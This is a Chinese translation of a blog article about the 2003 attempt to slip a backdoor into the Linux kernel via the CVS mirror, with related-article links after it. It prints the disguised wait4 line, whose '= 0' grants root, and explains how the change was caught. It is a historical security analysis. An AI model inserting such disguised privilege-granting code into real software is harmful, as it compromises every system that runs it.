【译文】一次 2003 年的 Linux 后门企图
乔希最近写了一篇关于 2006 年在 Debian Linux 中出现的一个严重安全漏洞的文章,以及它是否真的是由美国国家安全局插入的后门。(他的结论是很可能不是)。
今天我要写的是 2003 年发生的另一起事件,当时有人试图在 Linux 内核中植入后门。这一次肯定是有人试图插入后门。但我们不知道是谁做了这样的尝试,也许永远也不会知道。
早在2003年,Linux就使用了一个名为BitKeeper的系统来存储Linux源代码的主拷贝。如果开发人员想对 Linux 代码提出修改意见,他们可以提交修改建议,然后通过一个有组织的审批流程来决定是否将修改意见纳入主代码。对主代码的每一次修改都会有一个简短的解释,其中总是包括一个指向批准记录的指针。
但有些人并不喜欢 BitKeeper,因此我们保留了第二份源代码副本,这样开发人员就可以通过另一个名为 CVS 的代码系统获取代码。CVS 代码副本是 BitKeeper 主副本的直接克隆。
但在 2003 年 11 月 5 日,Larry McVoy 发现 CVS 副本中有一处代码变更没有指向批准记录。调查显示,该修改从未被批准过,更奇怪的是,该修改根本没有出现在主 BitKeeper 代码库中。进一步调查发现,显然有人(通过电子方式)侵入了 CVS 服务器并插入了这一变更。
这个改动做了什么?这才是真正有趣的地方。这次修改修改了一个名为 wait4 的 Linux 函数的代码,程序可以用它来等待某些事情的发生。具体来说,它添加了这两行代码:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL;
[为了解 C 编程语言的读者提供的参考:这段代码有什么不同寻常之处?答案如下]。
如果专家随便读一下,就会把它理解为无伤大雅的错误检查代码,当以文档禁止的某种方式调用 wait4 时,它会让 wait4 返回错误代码。但真正细心的专家读者会注意到,在第一行的末尾,写的是”= 0 “而不是”== 0″。在这样的代码中,正常的写法是”== 0″,即测试当前运行代码(current->uid)的用户 ID 是否等于零,而不修改用户 ID。但实际出现的是”=0″,其效果是将用户 ID 设置为 0。
将用户 ID 设置为零是个问题,因为用户 ID 为零的用户就是 “root “用户,它可以做任何它想做的事–访问所有数据、改变所有代码的行为,以及完全破坏系统所有部分的安全性。因此,这段代码的作用就是给任何以特定方式调用 wait4 的软件以 root 权限,而这种方式本应是无效的。换句话说……这是一个典型的后门。
这是一个非常聪明的程序。它看起来像是无害的错误检查,但实际上却是一个后门。它是在正常审批程序之外被植入代码中的,目的是避免审批程序发现其中的蹊跷。
但这一尝试并没有成功,因为 Linux 团队足够谨慎,他们注意到 CVS 代码库中的这些代码没有经过正常的审批流程。Linux 得一分。
这可能是美国国家安全局的攻击吗?有可能。但还有很多人拥有实施这次攻击的技能和动机。除非有人招供,或者有证据证明,否则我们永远不会知道。
本文文字及图片出自 The Linux Backdoor Attempt of 2003
你也许感兴趣的:
- C 语言老将从中作梗,Rust for Linux 项目内讧升级!核心维护者愤然离职:不受尊重、热情被消耗光
- 【外评】Linux 桌面市场份额升至 4.45
- “不可变”发行版Vanilla OS 2发布稳定版:彻底重写、改变使用Linux的方式
- 【外评】Rust 版的 Linux 文件系统
- 【外评】桌面 Linux 是一座尚未开发的金矿
- 【外评】茶壶中的 Debian /tmpest
- 【外评】为什么你的 Linux 内核错误报告可能毫无结果?
- BitKeeper、Linux 和许可纠纷:Linus 如何在 14 天内写出 Git
- 【外评】英伟达™(NVIDIA®)开放式 GPU Linux 内核驱动程序即将成为“图灵”及将来 GPU 的默认设置
- 如何从 Windows 安装程序安装 Linux
你对本文的反应是: